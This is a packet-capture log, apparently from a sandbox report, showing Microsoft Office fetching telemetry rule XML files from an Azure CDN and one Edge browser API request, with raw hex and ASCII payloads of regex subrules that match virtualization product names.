2024-11-13 13:41:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49784	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:23 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:23 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: ba8c429a-801e-0047-0ea2-347265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134123Z-r178fb8d765th6bkhC1DFWr7h0000000014000000000d617 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:23 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49785	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:23 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:23 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134123Z-16547b76f7ftdm8dhC1DFWs13g0000000h2000000000hh64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:23 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49786	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:23 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:23 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 27241c35-001e-0017-2982-350c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134123Z-1749fc9bdbd9f5rdhC1DFWbers000000017g00000000531d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:23 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49787	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:23 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134123Z-16547b76f7fxdzxghC1DFWmf7n0000000h9000000000db94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49788	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:24 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:24 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134124Z-16547b76f7fq9mcrhC1DFWq15w0000000h60000000009rmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:24 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49799	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:24 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134124Z-1749fc9bdbdqhv2phC1DFWvd30000000010000000000b4mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49789	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:24 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 162cf1ac-401e-002a-0c09-2dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134124Z-16547b76f7ftdm8dhC1DFWs13g0000000h900000000012d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49790	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:24 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134124Z-16547b76f7flf9g6hC1DFWmcx800000007s000000000a60u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49798	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:24 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5267c52a-501e-007b-64a0-345ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134124Z-r178fb8d7657w5c5hC1DFW5ngg000000012000000000gbvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49793	94.245.104.56	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:25 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:25 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 13 Nov 2024 13:41:24 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=44bf434ab6f7c0830d46be44706778b10a42312d4a4ae9076c4e359fcb4c5775;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=44bf434ab6f7c0830d46be44706778b10a42312d4a4ae9076c4e359fcb4c5775;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49800	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:25 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ea775dbe-901e-0016-4f03-2defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134125Z-16547b76f7ftdm8dhC1DFWs13g0000000h5g000000009yf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49802	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:25 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:25 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 392771d5-701e-000d-1cd2-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134125Z-16547b76f7f4k79zhC1DFWu9y00000000h4g00000000k850 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
